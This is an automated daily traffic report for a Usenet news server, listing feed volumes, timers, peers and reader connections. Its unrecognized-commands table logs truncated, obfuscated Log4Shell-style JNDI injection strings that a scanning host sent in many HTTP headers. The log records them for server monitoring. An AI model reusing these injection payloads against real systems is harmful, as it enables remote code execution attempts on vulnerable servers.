usenet.goja.nl.eu.org Daily Usenet report

Oct 6 00:03:00 -- Oct 7 00:03:00

Log entries by program:

Program nameLines%LinesSize%Size
inn 57368 65.4%12.9 MB 78.6%
nnrpd 13992 16.0%1.5 MB 8.9%
innd 11852 13.5%1.5 MB 9.2%
innfeed 4420 5.0%545.4 KB 3.3%
nocem 70 0.1%8.9 KB 0.1%
controlchan 1 0.0%0.1 KB 0.0%
TOTAL: 6 87703 100.0%16.4 MB100.0%

History cache:

ReasonCount%Count
Positive hits 114031 43.5%
Negative hits 90845 34.7%
Do not exist 56972 21.7%
Cache misses 114 0.0%
TOTAL: 4 261962 100.0%

innd timer:

Code regionTimePctInvokedMin(ms)Avg(ms)Max(ms)
article cancel00:00:00.000 0.0%28 0.000 0.000 0.000
article cleanup00:00:00.599 0.0%52909 0.000 0.011 0.072
article logging00:00:00.845 0.0%53266 0.000 0.016 0.061
article parse00:00:01.842 0.0%103453 0.000 0.018 0.052
article write00:00:06.407 0.0%52281 0.046 0.123 0.807
artlog/artparse00:00:00.098 0.0%4120 0.000 0.024 0.250
data move00:00:00.469 0.0%235656 0.000 0.002 0.009
hishave/artparse00:00:00.000 0.0%9 0.000 0.000 0.000
history grep00:00:00.000 0.0%0 0.000 0.000 0.000
history lookup00:00:02.081 0.0%262711 0.002 0.008 0.019
history sync00:00:00.351 0.0%389 0.000 0.902 10.000
history write00:00:09.941 0.0%57014 0.076 0.174 0.235
hiswrite/artparse00:00:00.001 0.0%9 0.111 0.111 0.111
idle23:37:22.690 98.3%243400 94.937 349.395 910.258
nntp read00:00:06.791 0.0%243947 0.008 0.028 0.072
overview write00:00:07.732 0.0%52281 0.065 0.148 0.658
perl filter00:00:01.900 0.0%52789 0.012 0.036 0.139
python filter00:00:02.171 0.0%52789 0.010 0.041 0.140
site send00:00:05.997 0.0%104631 0.013 0.057 0.241
TOTAL: 1923:38:09.915 98.4%----

innfeed timer:

Code regionTimePctInvokedMin(ms)Avg(ms)Max(ms)
article new00:00:00.387 0.0%61222 0.000 0.006 0.441
article prepare00:00:00.154 0.0%791916 0.000 0.000 0.002
article read00:00:03.769 0.0%57784 0.034 0.065 0.513
backlog stats00:00:00.818 0.0%620187 0.000 0.001 0.007
callbacks00:00:00.000 0.0%0 0.000 0.000 0.000
data read00:00:35.908 0.0%406055 0.012 0.088 0.345
data write00:00:10.465 0.0%417367 0.014 0.025 0.088
idle23:49:37.157 99.8%620187 27.977 138.309 491.700
status file00:00:00.651 0.0%812 0.000 0.802 2.000
TOTAL: 923:50:29.309 99.9%----

nnrpd timer:

Code regionTimePctInvokedMin(ms)Avg(ms)Max(ms)
idle23:17:19.813 97.6%18797 5.947 4460.276 10284.000
newnews00:00:00.000 0.0%0 0.000 0.000 0.000
nntpwrite00:34:57.818 2.4%26159564 0.000 0.080 0.500
TOTAL: 323:52:17.631100.0%----

Control commands to innd:

CommandNumber
flush 6
flushlogs 2
go 2
logmode 2
lowmark 1
mode 150
name 2
pause 2
paused 2
reload 720
reserve 2
TOTAL: 11 891

Incoming feeds (innd):

ServerConnectsOfferedTakenRefusedReject%AccptElapsed
1goja-out.feeder.erje.net 1171 73064 43095 25629 4340 58%106:07:34
2goja-out.news.weretis.net 3 17757 4121 13575 61 23%47:58:18
3news.quux.org 2 7031 2065 4946 20 29%22:53:25
4newsfeed.bofh.team 3 10515 895 9593 27 8%22:56:36
5news.1d4.us 1 8394 605 7763 26 7%28:22:56
6news.samoylyk.net 1 14777 366 14405 6 2%42:34:44
7news.nntp4.net 1 6876 280 6514 82 4%21:24:42
8newsfeed.endofthelinebbs.com 1 3537 182 3227 128 5%19:07:53
9news.chmurka.net 2 3923 141 3782 0 3%23:57:36
10pasdenom.info 2 4705 124 4581 0 2%23:59:50
11news.bbs.nz 1 7495 81 7413 1 1%23:59:09
12nntp.terraraq.uk 2 2653 31 2622 0 1%23:59:47
13goja-out.news.tnetconsulting.net 1 5167 24 5143 0 0%23:57:29
14news.furie.org.uk 2 4585 24 4560 1 0%23:58:59
15newsfeed.dotsrc.org 231 1492 14 1478 0 0%23:55:52
16localhost 1 0 0 0 0 0%00:00:00
TOTAL: 16 1425 171971 52048 115231 4692 30%479:14:50
Articles received by server

Incoming volume (innd):

ServerAcceptVolDupVolRejVolTotalVol%AccVol/Art
1goja-out.feeder.erje.net52.0 MB0.0 KB52.9 MB104.9 MB 49%2.3 KB
2newsfeed.bofh.team23.9 MB22.7 KB1.5 MB25.4 MB 94%28.3 KB
3goja-out.news.weretis.net8.6 MB0.0 KB110.8 KB8.7 MB 98%2.1 KB
4news.quux.org5.4 MB13.5 KB24.4 KB5.5 MB 99%2.7 KB
5news.nntp4.net5.1 MB0.0 KB701.2 KB5.8 MB 88%16.5 KB
6news.samoylyk.net2.2 MB117.5 KB3.8 KB2.3 MB 94%6.3 KB
7news.1d4.us1.4 MB0.0 KB4.0 MB5.4 MB 26%8.8 KB
8newsfeed.endofthelinebbs.com354.3 KB0.0 KB335.0 KB689.3 KB 51%2.2 KB
9pasdenom.info316.2 KB0.0 KB0.0 KB316.2 KB100%2.6 KB
10news.chmurka.net290.6 KB0.0 KB0.0 KB290.6 KB100%2.1 KB
11news.bbs.nz253.8 KB0.0 KB1.1 KB254.9 KB 99%3.1 KB
12newsfeed.dotsrc.org154.6 KB0.0 KB0.0 KB154.6 KB100%11.0 KB
13news.furie.org.uk110.5 KB0.0 KB17.0 KB127.5 KB 86%5.1 KB
14nntp.terraraq.uk101.7 KB0.0 KB0.0 KB101.7 KB100%3.3 KB
15goja-out.news.tnetconsulting.net34.9 KB0.0 KB0.0 KB34.9 KB100%1.5 KB
16localhost0.0 KB0.0 KB0.0 KB0.0 KB 0%0
TOTAL: 16100.3 MB153.7 KB59.5 MB159.9 MB 62%2.9 KB
Incoming volume received by server

Incoming articles (innd):

DateArticles%ArtsArt/secSize%SizeKB/sec
Oct 6 00:03:00 - 00:59:59 565 1.1% 0.173.2 MB 3.1% 0.95
Oct 6 01:00:00 - 01:59:59 522 1.0% 0.141.5 MB 1.4% 0.42
Oct 6 02:00:00 - 02:59:59 662 1.3% 0.186.2 MB 6.1% 1.77
Oct 6 03:00:00 - 03:59:59 570 1.1% 0.164.1 MB 4.0% 1.16
Oct 6 04:00:00 - 04:59:59 448 0.9% 0.121.7 MB 1.7% 0.50
Oct 6 05:00:00 - 05:59:59 865 1.7% 0.241.9 MB 1.8% 0.54
Oct 6 06:00:00 - 06:59:59 538 1.0% 0.152.4 MB 2.4% 0.69
Oct 6 07:00:00 - 07:59:59 529 1.0% 0.152.0 MB 1.9% 0.56
Oct 6 08:00:00 - 08:59:59 3973 7.6% 1.105.4 MB 5.3% 1.54
Oct 6 09:00:00 - 09:59:59 4567 8.7% 1.276.7 MB 6.5% 1.90
Oct 6 10:00:00 - 10:59:59 10065 19.3% 2.8012.0 MB 11.7% 3.42
Oct 6 11:00:00 - 11:59:59 784 1.5% 0.222.3 MB 2.3% 0.66
Oct 6 12:00:00 - 12:59:59 3777 7.2% 1.055.0 MB 4.8% 1.41
Oct 6 13:00:00 - 13:59:59 1174 2.2% 0.333.5 MB 3.5% 1.01
Oct 6 14:00:00 - 14:59:59 828 1.6% 0.233.9 MB 3.8% 1.12
Oct 6 15:00:00 - 15:59:59 822 1.6% 0.234.2 MB 4.1% 1.19
Oct 6 16:00:00 - 16:59:59 1697 3.2% 0.472.7 MB 2.6% 0.76
Oct 6 17:00:00 - 17:59:59 6433 12.3% 1.797.8 MB 7.6% 2.22
Oct 6 18:00:00 - 18:59:59 815 1.6% 0.232.9 MB 2.8% 0.81
Oct 6 19:00:00 - 19:59:59 588 1.1% 0.161.7 MB 1.7% 0.48
Oct 6 20:00:00 - 20:59:59 719 1.4% 0.202.5 MB 2.4% 0.71
Oct 6 21:00:00 - 21:59:59 8665 16.6% 2.419.7 MB 9.5% 2.76
Oct 6 22:00:00 - 22:59:59 1225 2.3% 0.345.4 MB 5.3% 1.54
Oct 6 23:00:00 - 23:59:59 1386 2.7% 0.393.7 MB 3.7% 1.07
Oct 7 00:00:00 - 00:03:00 52 0.1% 0.2991.8 KB 0.1% 0.51
TOTAL: 24:00:00 52269 100.0% 0.60102.5 MB 100.0% 1.22
Incoming articles
Incoming articles (size)

Sites sending bad articles:

ServerTotalGroupDistDuplicUnappTooOldSiteLineOther
1goja-out.feeder.erje.net 4343 224 0 0 4 0 0 0 4115
2newsfeed.bofh.team 318 26 0 1 0 0 0 0 291
3news.nntp4.net 170 122 0 0 0 0 0 0 48
4newsfeed.endofthelinebbs.com 144 28 0 0 0 114 0 0 2
5goja-out.news.weretis.net 72 64 0 0 0 0 0 0 8
6news.1d4.us 24 17 0 0 0 0 0 0 7
7news.quux.org 21 19 0 2 0 0 0 0 0
8news.samoylyk.net 3 1 0 2 0 0 0 0 0
9news.furie.org.uk 2 2 0 0 0 0 0 0 0
10goja-out.news.tnetconsulting.net 1 1 0 0 0 0 0 0 0
11nntp.terraraq.uk 1 0 0 0 0 0 0 0 1
TOTAL: 11 5099 504 0 5 4 114 0 0 4472

Unwanted newsgroups [Top 20]:

NewsgroupCount
fido7.ukrnews 88
linux.kernel.netdev 87
linux.kernel.git 73
lada.talk 62
it-alt.sport.calcio.juventus 24
spline.eisfair 18
fido7.pushkin.local 16
alt.binaries.xxx 14
hispagatos.mastodon.tag.hacking 14
fido7.lorapvt.horo 12
alt.binaries.pictures.purebeauty 8
fido7.f715.techinfo 8
linux.ubuntu.security.announce 8
lada.photo 7
fido7.fidonet.online 6
hispagatos.hacking.news 6
alt.binaries.porno 5
fido7.crimea.robots 5
al.christnet.bible 4
alt.binaries.ghosts 4
TOTAL: 43 504

Supposedly-moderated groups with unmoderated postings [Top 20]:

GroupsCount
fido7.binkd 3
clari.sports.football.nfl 1
TOTAL: 2 4

NoCeM on spool:

Issuer (type)NoticesBad PGPCancelSkipTotal
nocem@eternal-september.org (misplaced_binary)1000425425
robot@pasdenom.info (spam2)35003939
robot@pasdenom.info (spam3)7001414
robot@pasdenom.info (spam4)40066
TOTAL: 45600484484

Miscellaneous innd statistics [Top 10]:

EventServerNumber
Bad command received
newsfeed.dotsrc.org 35
TOTAL: 1 35
Huge articles
news.1d4.us 7
newsfeed.bofh.team 2
TOTAL: 2 9
Including strange strings
newsfeed.bofh.team 289
news.nntp4.net 48
goja-out.news.weretis.net 8
goja-out.feeder.erje.net 4
newsfeed.endofthelinebbs.com 2
nntp.terraraq.uk 1
TOTAL: 6 352
TOTAL: 3 396

Outgoing feeds (innfeed) by articles:

ServerOfferedTakenRefusedRejectMissSpool%TookElapsed
1peer.alt119.net 54255 45913 3486 2862 0 328 84%23:58:40
2news.chmurka.net 50421 41513 4906 1436 0 1772 82%23:59:14
3news.bbs.nz 58670 29361 8802 13886 0 5171 50%23:45:22
4newsfeed.dotsrc.org 11385 5007 1783 3879 0 481 43%23:58:30
5news.1d4.us 11535 4249 6090 6 0 6 36%23:57:52
6pasdenom.info 11669 1412 6733 498 0 12 12%23:58:29
7news.nntp4.net 54497 1089 9488 41409 0 95 1%23:59:08
8news.furie.org.uk 3129 509 1558 195 0 2 16%23:48:13
9feeder.erje.net 9571 498 8189 288 0 12 5%23:57:19
10news.quux.org 13001 367 7521 725 0 99 2%23:56:34
11nntp.terraraq.uk 6651 213 4120 1602 0 46 3%23:54:05
12newsfeed.endofthelinebbs.com 16459 195 10207 162 0 526 1%23:57:33
13tnetconsulting.net 4968 190 3050 418 0 7299 3%23:52:48
14newsfeed.bofh.team 12970 131 9520 3 0 37 1%23:58:11
15news.samoylyk.net 15382 129 10234 98 0 143 0%23:57:28
16weretis.net 7246 101 6097 40 0 12 1%23:58:14
17i2pn.org 0 0 0 0 0 10673 0%24:00:00
TOTAL: 17 341809 130877 101784 67507 0 26714 38%406:57:40
Outgoing feeds (innfeed) by articles

Outgoing feeds (innfeed) by volume:

ServerAcceptVolRejectVolTotalVolVolume/secVol/ArtElapsed
1peer.alt119.net58.8 MB33.1 MB91.9 MB1.1 KB/s1.9 KB23:58:40
2news.chmurka.net49.3 MB25.3 MB74.6 MB0.9 KB/s1.8 KB23:59:14
3news.bbs.nz37.3 MB17.2 MB54.5 MB0.7 KB/s1.3 KB23:45:22
4news.1d4.us36.7 MB6.8 KB36.7 MB0.4 KB/s8.8 KB23:57:52
5newsfeed.dotsrc.org9.4 MB23.7 MB33.0 MB0.4 KB/s3.8 KB23:58:30
6pasdenom.info3.1 MB2.0 MB5.1 MB0.1 KB/s2.7 KB23:58:29
7news.nntp4.net2.4 MB48.8 MB51.1 MB0.6 KB/s1.2 KB23:59:08
8news.furie.org.uk1.9 MB2.5 MB4.4 MB0.1 KB/s6.5 KB23:48:13
9news.quux.org1.1 MB29.3 MB30.4 MB0.4 KB/s28.5 KB23:56:34
10feeder.erje.net1.1 MB4.5 MB5.5 MB0.1 KB/s7.2 KB23:57:19
11nntp.terraraq.uk770.4 KB3.6 MB4.3 MB0.1 KB/s2.4 KB23:54:05
12newsfeed.endofthelinebbs.com484.4 KB345.3 KB829.8 KB0.0 KB/s2.3 KB23:57:33
13newsfeed.bofh.team429.8 KB95.9 KB525.7 KB0.0 KB/s3.9 KB23:58:11
14tnetconsulting.net397.8 KB15.1 MB15.5 MB0.2 KB/s26.0 KB23:52:48
15news.samoylyk.net264.9 KB899.5 KB1.1 MB0.0 KB/s5.1 KB23:57:28
16weretis.net242.2 KB113.3 KB355.5 KB0.0 KB/s2.5 KB23:58:14
17i2pn.org0.0 KB0.0 KB0.0 KB0.0 KB/s024:00:00
TOTAL: 17203.5 MB206.5 MB410.0 MB0.3 KB/s2.1 KB406:57:40
Outgoing feeds (innfeed) by volume

NNRP readership statistics [Top 100]:

SystemConnArtsSizeGroupsPostRejElapsed
1toma-03.stehlik.co.uk 572 00.0 KB 0 0 023:29:40
22a03:cfc0:8000:b::c303:dce8 286 00.0 KB 0 0 000:21:34
3167.94.146.48 4 00.0 KB 0 0 000:00:13
4199.45.155.66 4 00.0 KB 0 0 000:00:15
5azpdsscmedp5.stretchoid.com 2 00.0 KB 0 0 000:00:10
6azpdwsfgnait.stretchoid.com 2 00.0 KB 0 0 000:00:10
7205.210.31.176 1 00.0 KB 0 0 000:00:03
8205.210.31.218 1 00.0 KB 0 0 000:00:00
980.75.212.83 1 00.0 KB 0 0 000:00:00
10nurturing.monitoring.internet-measurement.com 1 00.0 KB 0 0 000:00:01
TOTAL: 10 874 00.0 KB 0 0 023:52:11

NNRP connection statistics (by domain) [Top 100]:

SystemConnArtsSizeGroupsPostRejElapsed
1*.stehlik.co.uk 572 00.0 KB 0 0 023:29:40
2unresolved 297 00.0 KB 0 0 000:22:07
3*.stretchoid.com 4 00.0 KB 0 0 000:00:20
4*.monitoring.internet-measurement.com 1 00.0 KB 0 0 000:00:01
TOTAL: 4 874 00.0 KB 0 0 023:52:11

NNRP total resource statistics [Top 20]:

SystemUser(ms)System(ms)Idle(ms)Elapsed
toma-03.stehlik.co.uk 50.195 33.247 244.12123:29:40
2a03:cfc0:8000:b::c303:dce8 25.283 17.935 0.00000:21:34
199.45.155.66 0.199 0.067 0.00000:00:15
167.94.146.48 0.196 0.083 0.00000:00:13
azpdwsfgnait.stretchoid.com 0.097 0.033 0.00000:00:10
azpdsscmedp5.stretchoid.com 0.118 0.034 0.00000:00:10
205.210.31.176 0.056 0.016 0.00000:00:03
nurturing.monitoring.internet-measurement.com 0.046 0.023 0.00000:00:01
205.210.31.218 0.065 0.024 0.00000:00:00
80.75.212.83 0.055 0.024 0.00000:00:00
TOTAL: 10 76.310 51.486 244.12123:52:11

NNRP unrecognized commands (by host) [Top 20]:

SystemConn
80.75.212.83 19
azpdsscmedp5.stretchoid.com 1
azpdwsfgnait.stretchoid.com 1
TOTAL: 3 21

NNRP unrecognized commands (by command) [Top 20]:

CommandCount
MGLNDD_116.202.108.142_119 2
Accept: t('${${env:NaN:-j}ndi${env:NaN:-... 1
Authentication: t('${${env:NaN:-j}ndi${e... 1
Authorization: t('${${env:NaN:-j}ndi${en... 1
Bearer: t('${${env:NaN:-j}ndi${env:NaN:-... 1
Cf-Connecting_ip: t('${${env:NaN:-j}ndi$... 1
Cookie: JSESSIONID=t('${${env:NaN:-j}ndi... 1
GET /t%28%27$%7B$%7Benv:NaN:-j%7Dndi$%7B... 1
Host: 116.202.108.142:119 1
Originating-Ip: t('${${env:NaN:-j}ndi${e... 1
Referer: t('${${env:NaN:-j}ndi${env:NaN:... 1
User-Agent: t('${${env:NaN:-j}ndi${env:N... 1
X-Api-Version: t('${${env:NaN:-j}ndi${en... 1
X-Client-Ip: t('${${env:NaN:-j}ndi${env:... 1
X-Druid-Comment: t('${${env:NaN:-j}ndi${... 1
X-Forwarded-For: t('${${env:NaN:-j}ndi${... 1
X-Forwarded-Host: t('${${env:NaN:-j}ndi$... 1
X-Originating-Ip: t('${${env:NaN:-j}ndi$... 1
X-Real-Ip: t('${${env:NaN:-j}ndi${env:Na... 1
X-Requested-With: t('${${env:NaN:-j}ndi$... 1
TOTAL: 20 21

NNRP client timeouts [Top 20]:

SystemConnPeer
167.94.146.48 1 4
199.45.155.66 1 3
2a03:cfc0:8000:b::c303:dce8 1 1
TOTAL: 3 3 10